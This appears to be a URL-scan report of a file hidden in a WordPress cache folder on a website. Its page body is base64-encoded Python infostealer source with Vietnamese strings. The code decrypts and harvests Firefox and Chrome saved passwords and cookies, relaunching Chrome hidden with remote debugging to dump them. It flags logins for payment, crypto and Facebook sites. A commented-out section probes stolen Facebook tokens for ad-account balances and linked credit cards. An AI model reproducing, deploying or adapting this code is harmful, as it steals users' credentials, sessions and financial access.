https://tvdseo.com/wp-content/cache/wp-rocket/Tuyen/TUYEN

已提交的 URL:
https://tvdseo.com/wp-content/cache/wp-rocket/Tuyen/TUYEN
報告完成時間:

連結 · 找到 0 個

JavaScript 變數 · 找到 3 個

主控台記錄訊息 · 找到 1 條

HTML

<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">aW1wb3J0IG9zLCBqc29uLCBiYXNlNjQsIHNxbGl0ZTMsIHNodXRpbCwgcmVxdWVzdHMsIGdsb2IsIHJlLCB6aXBmaWxlLCBpbywgZGF0ZXRpbWUsIGhtYWMsIHN1YnByb2Nlc3MsIHRpbWUKZnJvbSBjb25jdXJyZW50LmZ1dHVyZXMgaW1wb3J0IFRocmVhZFBvb2xFeGVjdXRvcgpmcm9tIHdlYnNvY2tldCBpbXBvcnQgY3JlYXRlX2Nvbm5lY3Rpb24KZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGRlY29kZQpmcm9tIGhhc2hsaWIgaW1wb3J0IHNoYTEsIHBia2RmMl9obWFjCmZyb20gcGF0aGxpYiBpbXBvcnQgUGF0aApmcm9tIHB5YXNuMS5jb2RlYy5kZXIuZGVjb2RlciBpbXBvcnQgZGVjb2RlCmZyb20gQ3J5cHRvLkNpcGhlciBpbXBvcnQgQUVTLCBERVMzCmZyb20gd2luMzJjcnlwdCBpbXBvcnQgQ3J5cHRVbnByb3RlY3REYXRhCmZyb20gY3R5cGVzIGltcG9ydCB3aW5kbGwsIGJ5cmVmLCBjcmVhdGVfdW5pY29kZV9idWZmZXIsIHBvaW50ZXIsIFdJTkZVTkNUWVBFCmZyb20gY3R5cGVzLndpbnR5cGVzIGltcG9ydCBEV09SRCwgV0NIQVIsIFVJTlQKCkltcG9ydGFudEtleXdvcmRzID0gWydwYXlwYWwnLCAncGVyZmVjdG1vbmV5JywgJ2V0c3knLCAnZmFjZWJvb2snLCAnZWJheScsICdjb2luJywgJ2JpbmFuY2UnLCAnd2FsbGV0JywgJ3BheW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c/MScsJ3VwZ3JhZGUtaW5zZWN1cmUtcmVxdWVzdHMnOiAnMScsJ3VzZXItYWdlbnQnOiAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2Jywndmlld3BvcnQtd2lkdGgnOiAnNzk0J30KIyAgICAgICAgIHNlbGYucnEuaGVhZGVycy51cGRhdGUoaGVhZGVycykKIyAgICAgICAgIHNlbGYucnEuY29va2llcy51cGRhdGUoY29va2llcykKIyAgICAgICAgIHNlbGYudG9rZW4gPSBzZWxmLkdldF9NYXJrZXQoKQojICAgICAgICAgaWYgc2VsZi50b2tlbiA9PSBGYWxzZToKIyAgICAgICAgICAgICByZXR1cm4gTm9uZQojICAgICAgICAgZWxzZToKIyAgICAgICAgICAgICBzZWxmLnVpZCA9IGNvb2tpZXNbJ2NfdXNlciddCgojICAgICBkZWYgUGFyc2VfQ29va2llKHNlbGYsIGNvb2tpZSk6CiMgICAgICAgICBjb29raWVzID0ge30KICAgICAgICAKIyAgICAgICAgIGZvciBjIGluIGNvb2tpZS5zcGxpdCgnOycpOgojICAgICAgICAgICAgIGtleV92YWx1ZSA9IGMuc3RyaXAoKS5zcGxpdCgnPScsIDEpCiMgICAgICAgICAgICAgaWYgbGVuKGtleV92YWx1ZSkgPT0gMjoKIyAgICAgICAgICAgICAgICAga2V5LCB2YWx1ZSA9IGtleV92YWx1ZQojICAgICAgICAgICAgICAgICBpZiBrZXkubG93ZXIoKSBpbiBbJ2NfdXNlcicsICd4cycsICdmciddOiAKIyAgICAgICAgICAgICAgICAgICAgIGNvb2tpZXNba2V5XSA9IHZhbHVlCiMgICAgICAgICByZXR1cm4gY29va2llcwoKIyAgICAgZGVmIEdldF9NYXJrZXQoc2VsZik6CiMgICAgICAgICB0cnk6CiMgICAgICAgICAgICAgYWN0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mpzb24oKVsnZGF0YSddKSl9XG4iCiMgICAgICAgICBmb3IgaXRlbSBpbiBsaXN0X3Rpa3FjLmpzb24oKVsnZGF0YSddOgojICAgICAgICAgICAgIHhpdGVtID0gaXRlbVsiaWQiXQojICAgICAgICAgICAgIHggPSBzZWxmLnJxLmdldChmImh0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL3YxNi4wL3t4aXRlbX0vP2ZpZWxkcz1zcGVuZF9jYXAsYmFsYW5jZSxhbW91bnRfc3BlbnQsYWR0cnVzdF9kc2wsYWRzcGF5bWVudGN5Y2xlLGN1cnJlbmN5LGFjY291bnRfc3RhdHVzLGRpc2FibGVfcmVhc29uLG5hbWUsY3JlYXRlZF90aW1lLGFsbF9wYXltZW50X21ldGhvZHMlN0JwbV9jcmVkaXRfY2FyZCU3QmRpc3BsYXlfc3RyaW5nJTJDaXNfdmVyaWZpZWQlN0QlN0QmYWNjZXNzX3Rva2VuPXtzZWxmLnRva2VufSIpCiMgICAgICAgICAgICAgdHJ5OgojICAgICAgICAgICAgICAgICBzdGF0dXQgPSB4Lmpzb24oKVsiYWNjb3VudF9zdGF0dXMiXQojICAgICAgICAgICAgIGV4Y2VwdDoKIyAgICAgICAgICAgICAgICAgc3RhdHV0ID0gIktow7RuZyBSw7UgVHLhuqFuZyBUaMOhaSIKIyAgICAgICAgICAgICBpZiBpbnQoc3RhdHV0KSA9PSAxOgojICAgICAgICAgICAgICAgICBzdHQgPSAiTElWRSIKIyAgICAgICAgICAgICBlbHNlOgojICAgICAgICAgICAgICAgICBzdHQgPSAiRElFIgojICAgICAgICAgICAgIHRyeToKIyAgICAgICAgICAgICAgICAgY3JlZGl0X2NhcmRfZGF0YSA9IHguanNvbigpWyJhbGxfcGF5bWVudF9tZXRob2RzIl1bInBtX2NyZWRpdF9jYXJkIl1bImRhdGEiXQojICAgICAgICAgICAgICAgICBjYXJkX2Rpc3BsYXlfc3RyaW5nID0gY3JlZGl0X2NhcmRfZGF0YVswXVsiZGlzcGxheV9zdHJpbmciXQojICAgICAgICAgICAgICAgICBpZiBjcmVkaXRfY2FyZF9kYXRhWzBdWyJpc192ZXJpZmllZCJdOgojICAgICAgICAgICAgICAgICAgICAgdmVyaWZ5X2NjID0gIsSQw6MgWMOhYyBNaW5oIgojICAgICAgICAgICAgICAgICBlbHNlOgojICAgICAgICAgICAgICAgICAgICAgdmVyaWZ5X2NjID0gIk5vX1ZlcmlmaWVkIgojICAgICAgICAgICAgICAgICB0aGFuaF90b2FuID0gZiJ7Y2FyZF9kaXNwbGF5X3N0cmluZ30gLSB7dmVyaWZ5X2NjfSIKIyAgICAgICAgICAgICBleGNlcHQ6CiMgICAgICAgICAgICAgICAgIHRoYW5oX3RvYW4gPSAiS2jDtG5nIFRo4bq7IgoKIyAgICAgICAgICAgICBuYW1lID0geC5qc29uKClbIm5hbWUiXQojICAgICAgICAgICAgIGlkX3RrcWMgPSB4Lmpzb24oKVsiaWQiXQojICAgICAgICAgICAgIHRpZW5fdGUgPSB4Lmpzb24oKVsiY3VycmVuY3kiXQojICAgICAgICAgICAgIHNvX2R1ID0geC5qc29uKClbImJhbGFuY2UiXQojICAgICAgICAgICAgIGR1X25vID0geC5qc29uKClbInNwZW5kX2NhcCJdCiMgICAgICAgICAgICAgZGFfY2hpX3RpZXUgPSB4Lmpzb24oKVsiYW1vdW50X3NwZW50Il0KIyAgICAgICAgICAgICBpZiB4Lmpzb24oKVsiYWR0cnVzdF9kc2wiXSA9PSAtMToKIyAgICAgICAgICAgICAgICAgbGltaXRfbmdheSA9ICJObyBMaW1pdCIKIyAgICAgICAgICAgICBlbHNlOgojICAgICAgICAgICAgICAgICBsaW1pdF9uZ2F5ID0geC5qc29uKClbImFkdHJ1c3RfZHNsIl0KIyAgICAgICAgICAgICBjcmVhdGVkX3RpbWUgPSB4Lmpzb24oKVsiY3JlYXRlZF90aW1lIl0KIyAgICAgICAgICAgICB0cnk6CiMgICAgICAgICAgICAgICAgIG5ndW9uZ19ubyA9ICJ7Oi4yZn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AgICAgICAgZGF0YSA9IGYiVOG7lW5nIFPhu5EgUGFnZToge3N0cihsZW4ocGFnZXMpKX1cbiIKIyAgICAgICAgICAgICBmb3IgcGFnZSBpbiBwYWdlczoKIyAgICAgICAgICAgICAgICAgbmFtZSA9IHBhZ2VbIm5hbWUiXQojICAgICAgICAgICAgICAgICBsaW5rID0gcGFnZVsibGluayJdCiMgICAgICAgICAgICAgICAgIGxpa2UgPSBwYWdlWyJmYW5fY291bnQiXQojICAgICAgICAgICAgICAgICBmbCA9IHBhZ2VbImZvbGxvd2Vyc19jb3VudCJdCiMgICAgICAgICAgICAgICAgIHZlcmkgPSBwYWdlWyJ2ZXJpZmljYXRpb25fc3RhdHVzIl0KIyAgICAgICAgICAgICAgICAgZGF0YSArPSBmIi0ge25hbWV9fHtsaW5rfXx7bGlrZX18e2ZsfXx7dmVyaX1cbiIKIyAgICAgICAgICAgICByZXR1cm4gZGF0YQojICAgICAgICAgZWxzZToKIyAgICAgICAgICAgICByZXR1cm4gIj09PiBLaMO0bmcgY8OzIFBhZ2VcbiIKCiMgICAgIGRlZiBHZXRfUVRWX0dSKHNlbGYpOgojICAgICAgICAgbGlzdF9ncm91cCA9IHNlbGYucnEuZ2V0KGYiaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vdjE3LjAvbWUvZ3JvdXBzP2ZpZWxkcz1hZG1pbmlzdHJhdG9yJmFjY2Vzc190b2tlbj17c2VsZi50b2tlbn0iKS50ZXh0CiMgICAgICAgICBkYXRhID0ganNvbi5sb2FkcyhsaXN0X2dyb3VwKQojICAgICAgICAgaWRzID0gIiIKCiMgICAgICAgICBmb3IgaXRlbSBpbiBkYXRhWyJkYXRhIl06CiMgICAgICAgICAgICAgaWYgaXRlbVsiYWRtaW5pc3RyYXRvciJdOgojICAgICAgICAgICAgICAgICBpZiBub3QgaWRzOgojICAgICAgICAgICAgICAgICAgICAgaWRzID0gIkPDoWMgR3JvdXAgQ+G6p20gUVRWOlxuIgojICAgICAgICAgICAgICAgICBpZCA9IGl0ZW1bImlkIl0KIyAgICAgICAgICAgICAgICAgaWRzICs9IGYiLSBodHRwczovL3d3dy5mYWNlYm9vay5jb20vZ3JvdXBzL3tpZH1cbiIKIyAgICAgICAgIGlmIG5vdCBpZHM6CiMgICAgICAgICAgICAgaWRzID0gIj09PT4gS2jDtG5nIEPDsyBHcm91cCBD4bqnbSBRVFYiCiMgICAgICAgICByZXR1cm4gaWRzCiAgICAKIyAgICAgZGVmIEdldF9pZF9CTShzZWxmKToKIyAgICAgICAgIGRhdGEgPSBzZWxmLnJxLmdldChmImh0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL3YxNy4wL21lP2ZpZWxkcz1idXNpbmVzc2VzJmFjY2Vzc190b2tlbj17c2VsZi50b2tlbn0iKQojICAgICAgICAgdHJ5OgojICAgICAgICAgICAgIGxpc3RibSA9IGRhdGEuanNvbigpWyJidXNpbmVzc2VzIl1bImRhdGEiXQojICAgICAgICAgICAgIGlkX2xpc3QgPSBbXQojICAgICAgICAgICAgIGZvciBpdGVtICBpbiBsaXN0Ym06CiMgICAgICAgICAgICAgICAgIGJ1c2luZXNzX2lkID0gaXRlbVsiaWQiXQojICAgICAgICAgICAgICAgICBpZF9saXN0LmFwcGVuZChidXNpbmVzc19pZCkKIyAgICAgICAgICAgICByZXR1cm4gaWRfbGlzdAojICAgICAgICAgZXhjZXB0OgojICAgICAgICAgICAgIHJldHVybiBOb25lCgojICAgICBkZWYgR2V0X1RrX0luX0JNKHNlbGYpOgojICAgICAgICAgbGlzdGJtID0gc2VsZi5HZXRfaWRfQk0oKQojICAgICAgICAgaWYgbGlzdGJtIGlzIG5vdCBOb25lOgojICAgICAgICAgICAgIHJlc3VsdCA9ICJUaMO0bmcgVGluIEJNOlxuIiAKIyAgICAgICAgICAgICBmb3IgaWRibSBpbiBsaXN0Ym06CiMgICAgICAgICAgICAgICAgIHJxID0gc2VsZi5ycS5nZXQoZiJodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS92MTcuMC97aWRibX0/ZmllbGRzPW93bmVkX2FkX2FjY291bnRzJTdCYWNjb3VudF9zdGF0dXMsYmFsYW5jZSxjdXJyZW5jeSxidXNpbmVzc19jb3VudHJ5X2NvZGUsYW1vdW50X3NwZW50LHNwZW5kX2NhcCxjcmVhdGVkX3RpbWUsYWR0cnVzdF9kc2wlN0QsY2xpZW50X2FkX2FjY291bnRzJTdCYWNjb3VudF9zdGF0dXMsYmFsYW5jZSxjdXJyZW5jeSxidXNpbmVzc19jb3VudHJ5X2NvZGUsYW1vdW50X3NwZW50LHNwZW5kX2NhcCxjcmVhdGVkX3RpbWUsYWR0cnVzdF9kc2wlN0QmYWNjZXNzX3Rva2VuPXtzZWxmLnRva2VufSIpCiMgICAgICAgICAgICAgICAgIHRyeToKIyAgICAgICAgICAgICAgICAgICAgIGxpc3RfdGtxYyA9IHJxLmpzb24oKVsib3duZWRfYWRfYWNjb3VudHMiXVsiZGF0YSJdCiMgICAgICAgICAgICAgICAgIGV4Y2VwdDoKIyAgICAgICAgICAgICAgICAgICAgIHJlc3VsdCArPSBmIi0gSURfQk06IHtpZGJtfSAtLT4gQk0gVHLhuq9uZ1xuIgojICAgICAgICAgICAgICAgICAgICAgY29udGludWUKCiMgICAgICAgICAgICAgICAgIGZvciBpdGVtIGluIGxpc3RfdGtxYzoKIyAgICAgICAgICAgICAgICAgICAgIHN0dCA9IGl0ZW1bImFjY291bnRfc3RhdHVzIl0KIyAgICAgICAgICAgICAgICAgICAgIGlmIGludChzdHQpID09IDE6CiMgICAgICAgICAgICAgICAgICAgICAgICAgc3R0ID0gIkxJVkUiCiMgICAgICAgICAgICAgICAgICAgICBlbHNlOgojICAgICAgICAgICAgICAgICAgICAgICAgIHN0dCA9ICJESUUiCiMgICAgICAgICAgICAgICAgICAgICB0aWVuX3RlID0gaXRlbVsiY3VycmVuY3kiXQojICAgICAgICAgICAgICAgICAgICAgdHJ5OgojICAgICAgICAgICAgICAgICAgICAgICAgIGNvdW50cnkgPSBpdGVtWyJidXNpbmVzc19jb3VudHJ5X2NvZGUiXQojICAgICAgICAgICAgICAgICAgICAgZXhjZXB0OgojICAgICAgICAgICAgICAgICAgICAgICAgIGNvdW50cnkgPSAiQ2hlY2sgTWlzcyIKIyAgICAgICAgICAgICAgICAgICAgIHNvX2R1ID0gaXRlbVsiYmFsYW5jZSJdCiMgICAgICAgICAgICAgICAgICAgICBkYV9jaGlfdGlldSA9IGl0ZW1bImFtb3VudF9zcGVudCJdCiMgICAgICAgICAgICAgICAgICAgICBuZ3Vvbmdfbm8gPSBpdGVtWyJzcGVuZF9jYXAiXQojICAgICAgICAgICAgICAgICAgICAgbmdheXRhbyA9IGl0ZW1bImNyZWF0ZWRfdGltZSJdCiMgICAgICAgICAgICAgICAgICAgICBpZiBpdGVtWyJhZHRydXN0X2RzbCJdID09IC0xOgojICAgICAgICAgICAgICAgICAgICAgICAgIGxpbWl0X25nYXkgPSAiTm8gTGltaXQiCiMgICAgICAgICAgICAgICAgICAgICBlbHNlOgojICAgICAgICAgICAgICAgICAgICAgICAgIGxpbWl0X25nYXkgPSBpdGVtWyJhZHRydXN0X2RzbCJdCiMgICAgICAgICAgICAgICAgICAgICBpZF90a3FjID0gaXRlbVsiaWQiXQojICAgICAgICAgICAgICAgICAgICAgcmVzdWx0ICs9IGYiLSBJRF9CTToge2lkYm19KHtzZWxmLkNoZWNrX1Nsb3RfQk0oaWRibSl9KXxJRF9US1FDOiB7aWRfdGtxY318VHLhuqFuZyBUaMOhaToge3N0dH18UXXhu5FjIEdpYToge2NvdW50cnl9fFRp4buBbiBU4buHOiB7dGllbl90ZX18U+G7kSBExrA6IHtzb19kdX0ge3RpZW5fdGV9fFThu5VuZyDEkMOjIENoaSBUacOqdToge2RhX2NoaV90aWV1fSB7dGllbl90ZX18TGltaXQgTmfDoHk6IHtsaW1pdF9uZ2F5fSB7dGllbl90ZX18TmfGsOG7oW5nOiB7c3RyKG5ndW9uZ19ubyl9IHt0aWVuX3RlfXxOZ8OgeSB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IHJlc3VsdDoge3Jlc3VsdH0iKQoKICAgICAgICBpZiBwcm9jX2luZm9fbmVlZGVkLnZhbHVlOgogICAgICAgICAgICByZXN1bHQgPSBEV09SRChyc3RydG1nci5SbVNodXRkb3duKHNlc3Npb25faGFuZGxlLCBSbUZvcmNlU2h1dGRvd24sIGNhbGxiYWNrKSkudmFsdWUKCiAgICAgICAgICAgIGlmIHJlc3VsdCAhPSBFUlJPUl9TVUNDRVNTOgogICAgICAgICAgICAgICAgcmFpc2UgUnVudGltZUVycm9yKGYiUm1TaHV0ZG93biByZXR1cm5lZCBub24tc3VjY2Vzc2Z1bCByZXN1bHQ6IHtyZXN1bHR9IikKCiAgICBmaW5hbGx5OgogICAgICAgIHJlc3VsdCA9IERXT1JEKHJzdHJ0bWdyLlJtRW5kU2Vzc2lvbihzZXNzaW9uX2hhbmRsZSkpLnZhbHVlCgogICAgICAgIGlmIHJlc3VsdCAhPSBFUlJPUl9TVUNDRVNTOgogICAgICAgICAgICByYWlzZSBSdW50aW1lRXJyb3IoZiJSbUVuZFNlc3Npb24gcmV0dXJuZWQgbm9uLXN1Y2Nlc3NmdWwgcmVzdWx0OiB7cmVzdWx0fSIpCgpkZWYgc2F2ZV9nY2tfbG9naW5fZGF0YShwcm9maWxlcywgcHJvZmlsZV9uYW1lLCBicm93c2VyX25hbWUpOgogICAgY291bnQgPSAwCiAgICBsb2dpbl9kYXRhID0gIiIKICAgIGxvZ2lucyA9IFtdCiAgICBmb3IgcHJvZmlsZSBpbiBwcm9maWxlczoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHdpdGggb3Blbihvcy5wYXRoLmpvaW4ocHJvZmlsZSwgImxvZ2lucy5qc29uIiksICJyIikgYXMgbG9naW5mOgogICAgICAgICAgICAgICAganNvbkxvZ2lucyA9IGpzb24ubG9hZChsb2dpbmYpCgogICAgICAgICAgICBpZiAibG9naW5zIiBub3QgaW4ganNvbkxvZ2luczoKICAgICAgICAgICAgICAgIHJldHVybiBbXQoKICAgICA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Bhc3N3b3JkOiB7cGFzc3dvcmR9XG5BcHBsaWNhdGlvbjoge2Jyb3dzZXJ9IFtQcm9maWxlOiB7cHJvZmlsZX1dXG7ilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIFcbiIKICAgICAgICAgICAgY291bnQgKz0gMQogICAgICAgICAgICBmb3Iga2V5d29yZCBpbiBJbXBvcnRhbnRLZXl3b3JkczoKICAgICAgICAgICAgICAgIGlmIGtleXdvcmQgaW4gcm93WzBdLmxvd2VyKCk6CiAgICAgICAgICAgICAgICAgICAgaWYgbm90IG9zLnBhdGguZXhpc3RzKFBhdGhCcm93c2VyKToKICAgICAgICAgICAgICAgICAgICAgICAgb3MubWFrZWRpcnMoUGF0aEJyb3dzZXIpCiAgICAgICAgICAgICAgICAgICAgd2l0aCBvcGVuKGYie1BhdGhCcm93c2VyfVxcSW1wb3J0YW50X0xvZ2lucy50eHQiLCAiYSIsIGVuY29kaW5nPSJ1dGYtOCIpIGFzIHNpdGU6CiAgICAgICAgICAgICAgICAgICAgICAgIHNpdGUud3JpdGUoZiJVUkw6IHtyb3dbMF19XG5Vc2VybmFtZToge3Jvd1sxXX1cblBhc3N3b3JkOiB7cGFzc3dvcmR9XG5BcHBsaWNhdGlvbjoge2Jyb3dzZXJ9IFtQcm9maWxlOiB7cHJvZmlsZX1dXG7ilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIHilIFcbiIpCiAgICAgICAgICAgICAgICAgICAgYnJlYWsKCiAgICBpZiBjb3VudCA+IDA6CiAgICAgICAgaWYgbm90IG9zLnBhdGguZXhpc3RzKFBhdGhCcm93c2VyKToKICAgICAgICAgICAgb3MubWFrZWRpcnMoUGF0aEJyb3dzZXIpCiAgICAgICAgcHdfZmlsZSA9IG9zLnBhdGguam9pbihQYXRoQnJvd3NlciwgZiJBbGxfUGFzc3dvcmRzLnR4dCIpCiAgICAgICAgd2l0aCBvcGVuKHB3X2ZpbGUsICJhIiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZWxpbmVzKHJlc3VsdCkKICAgIGNvbm4uY2xvc2UoKQogICAgb3MucmVtb3ZlKFRNUCArICJcXGxvZ2luX2RiIikKICAgIHJldHVybiBjb3VudAoKZGVmIGdldF9jaF9jb29raWVzKGJyb3dzZXIsIHBhdGgsIHByb2ZpbGUsIGNoX21hc3Rlcl9rZXkpOgogICAgY291bnQgPSAwCiAgICByZXN1bHQgPSAiIgogICAgZmJfcmVzdWx0ID0gW10KCiAgICBpZiBicm93c2VyIGluIFsiQ2hyb21lIiwgIkNocm9tZSBTeFMiLCAiQ2hyb21lICh4ODYpIl06CgogICAgICAgIHN1YnByb2Nlc3MucnVuKFsidGFza2tpbGwiLCAiL0YiLCAiL0lNIiwgImNocm9tZS5leGUiXSwgY3JlYXRpb25mbGFncz0weDA4MDAwMDAwKQoKICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihbCiAgICAgICAgICAgICAgICAgICAgIkM6L1Byb2dyYW0gRmlsZXMvR29vZ2xlL0Nocm9tZS9BcHBsaWNhdGlvbi9jaHJvbWUuZXhlIiwKICAgICAgICAgICAgICAgICAgICAnLS1yZW1vdGUtZGVidWdnaW5nLXBvcnQ9OTIyMicsCiAgICAgICAgICAgICAgICAgICAgZictLXByb2ZpbGUtZGlyZWN0b3J5PXtwcm9maWxlfScsCiAgICAgICAgICAgICAgICAgICAgJy0tcmVtb3RlLWFsbG93LW9yaWdpbnM9KicsCiAgICAgICAgICAgICAgICAgICAgJy0td2luZG93LXBvc2l0aW9uPTEwMDAwLDEwMDAwJywKICAgICAgICAgICAgICAgICAgICAnLS13aW5kb3ctc2l6ZT0xLDEnLAogICAgICAgICAgICAgICAgICAgICctLWRpc2FibGUtZ3B1JywKICAgICAgICAgICAgICAgICAgICAnLS1uby1zYW5kYm94JwogICAgICAgICAgICAgICAgXSwgY3JlYXRpb25mbGFncz0weDA4MDAwMDAwKQoKICAgICAgICAgICAgICAgIHdzX3VybCA9IHJlcXVlc3RzLmdldCgiaHR0cDovL2xvY2FsaG9zdDo5MjIyL2pzb24iKS5qc29uKClbMF1bJ3dlYlNvY2tldERlYnVnZ2VyVXJsJ10KICAgICAgICAgICAgICAgIHdzID0gY3JlYXRlX2Nvbm5lY3Rpb24od3NfdXJsKQogICAgICAgICAgICAgICAgd3Muc2VuZChqc29uLmR1bXBzKHsiaWQiOiAxLCAibWV0aG9kIjogIk5ldHdvcmsuZ2V0QWxsQ29va2llcyJ9KSkKICAgICAgICAgICAgICAgIGNvb2tpZXMgPSBqc29uLmxvYWRzKHdzLnJlY3YoKSlbJ3Jlc3VsdCddWydjb29raWVzJ10KICAgICAgICAgICAgICAgIHdzLmNsb3NlKCk7IHByb2Mua2lsbCgpCgogICAgICAgICAgICAgICAgZm9yIGMgaW4gY29va2llczoKICAgICAgICAgICAgICAgICAgICByZXN1bHQgKz0gZiJ7Y1snZG9tYWluJ119XHR7J1RSVUUnIGlmIGNbJ2RvbWFpbiddLnN0YXJ0c3dpdGgoJy4nKSBlbHNlICdGQUxTRSd9XHR7Y1sncGF0aCddfVx0eydUUlVFJyBpZiBjWydzZWN1cmUnXSBlbHNlICdGQUxTRSd9XHR7aW50KGMuZ2V0KCdleHBpcmVzJywgMCkpfVx0e2NbJ25hbWUnXX1cdHtjWyd2YWx1ZSddfVxuIgogICAgICAgICAgICAgICAgICAgIGlmIGNbJ2RvbWFpbiddID09ICIuZmFjZWJvb2suY29tIjoKICAgICAgICAgICAgICAgICAgICAgICAgZmJfcmVzdWx0LmFwcGVuZChmIntjWyduYW1lJ119PXtjWyd2YWx1ZSddfSIpCiAgICAgICAgICAgICAgICAgICAgY291bnQgKz0gMQoKICAgICAgICAgICAgICAgIGlmIGNvdW50ID4gMDoKICAgICAgICAgICAgICAgICAgICBkaXJfcGF0aCA9IG9zLnBhdGguam9pbihQYXRoQnJvd3NlciwgIkNvb2tpZXMgQnJvd3NlciIpCiAgICAgICAgICAgICAgICAgICAgb3MubWFrZWRpcnMoZGlyX3BhdGgsIGV4aXN0X29rPVRydWUpCiAgICAgICAgICAgICAgICAgICAgd2l0aCBvcGVuKG9zLnBhdGguam9pbihkaXJfcGF0aCwgZiJ7YnJvd3Nlcn1fe3Byb2ZpbGV9LnR4dCIpLCAidyIsIGVuY29kaW5nPSJ1dGYtOCIpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgICAgIGYud3JpdGVsaW5lcyhyZXN1bHQpCgogICAgICAgICAgICAgICAgZmJfZm9ybWF0dGVkID0gIjsgIi5qb2luKGZiX3Jlc3VsdCkKICAgICAgICAgICAgICAgIGlmIGZiX2Zvcm1hdHRlZDoKICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKFBhdGhCcm93c2VyLCAiRmFjZWJvb2tfQ29va2llcy50eHQiKSwgJ2EnLCBlbmNvZGluZz0ndXRmLTgnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICBmLndyaXRlKGYie2ZiX2Zvcm1hdHRlZH1cblxuIikKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICBlbHNlOgogICAgICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhvcy5wYXRoLmpvaW4ocGF0aCwgcHJvZmlsZSwgIk5ldHdvcmsiLCAiQ29va2llcyIpKToKICAgICAgICAgICAgcmV0dXJuIGNvdW50CgogICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHNodXRpbC5jb3B5KG9zLnBhdGguam9pbihwYXRoLCBwcm9maWxlLCAiTmV0d29yayIsICJDb29raWVzIiksIG9zLnBhdGguam9pbihUTVAsICJjb29raWVfZGIiKSkKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICBVbmxvY2tfQ29va2llcyhvcy5wYXRoLmpvaW4ocGF0aCwgcHJvZmlsZSwgIk5ldHdvcmsiLCAiQ29va2llcyIpKQogICAgICAgICAgICAgICAgICAgIHNodXRpbC5jb3B5KG9zLnBhdGguam9pbihwYXRoLCBwcm9maWxlLCAiTmV0d29yayIsICJDb29raWVzIiksIG9zLnBhdGguam9pbihUTVAsICJjb29raWVfZGIiKSkKICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZXhjZXB0OgogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgIGNvbm4gPSBzcWxpdGUzLmNvbm5lY3Qob3MucGF0aC5qb2luKFRNUCwgImNvb2tpZV9kYiIpKQogICAgICAgIGN1cnNvciA9IGNvbm4uY3Vyc29yKCkKCiAgICAgICAgY3Vyc29yLmV4ZWN1dGUoIlNFTEVDVCBob3N0X2tleSwgbmFtZSwgcGF0aCwgZW5jcnlwdGVkX3ZhbHVlLCBleHBpcmVzX3V0YywgaXNfc2VjdXJlLCBpc19odHRwb25seSBGUk9NIGNvb2tpZXMiKQoKICAgICAgICBmb3IgaG9zdCwgbmFtZSwgcGF0aF9jb29raWVzLCB2YWx1ZSwgZXhwaXJlc191dGMsIGlzX3NlY3VyZSwgaXNfaHR0cF9vbmx5IGluIGN1cnNvci5mZXRjaGFsbCgpOgogICAgICAgICAgICBpZiBub3QgYWxsKChob3N0LCBuYW1lLCBwYXRoX2Nvb2tpZXMsIHZhbHVlKSk6CiAg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2llcyBCcm93c2VyIikKICAgICAgICAgICAgaWYgbm90IG9zLnBhdGguZXhpc3RzKGRpcl9wYXRoKToKICAgICAgICAgICAgICAgIG9zLm1ha2VkaXJzKGRpcl9wYXRoKQogICAgICAgICAgICBjY19maWxlID0gb3MucGF0aC5qb2luKGRpcl9wYXRoLCBmInticm93c2VyfV97cHJvZmlsZX0udHh0IikKICAgICAgICAgICAgd2l0aCBvcGVuKGNjX2ZpbGUsICJ3IiwgZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICAgICAgICAgIGYud3JpdGVsaW5lcyhyZXN1bHQpCiAgICAgICAgY29ubi5jbG9zZSgpCiAgICAgICAgb3MucmVtb3ZlKG9zLnBhdGguam9pbihUTVAsICJjb29raWVfZGIiKSkKICAgIHJldHVybiBjb3VudAoKZGVmIHNhdmVfZ2NrX2Nvb2tpZXMocHJvZmlsZXMsIHByb2ZpbGVfbmFtZSwgYnJvd3Nlcl9uYW1lKToKICAgIGNvdW50ID0gMAogICAgY29va2llc19kYXRhID0gW10KICAgIGZiX3Jlc3VsdCA9IFtdCgogICAgdHJ5OgogICAgICAgIGNvbm4gPSBzcWxpdGUzLmNvbm5lY3QoZiJmaWxlOntvcy5wYXRoLmpvaW4ocHJvZmlsZXNbMF0sI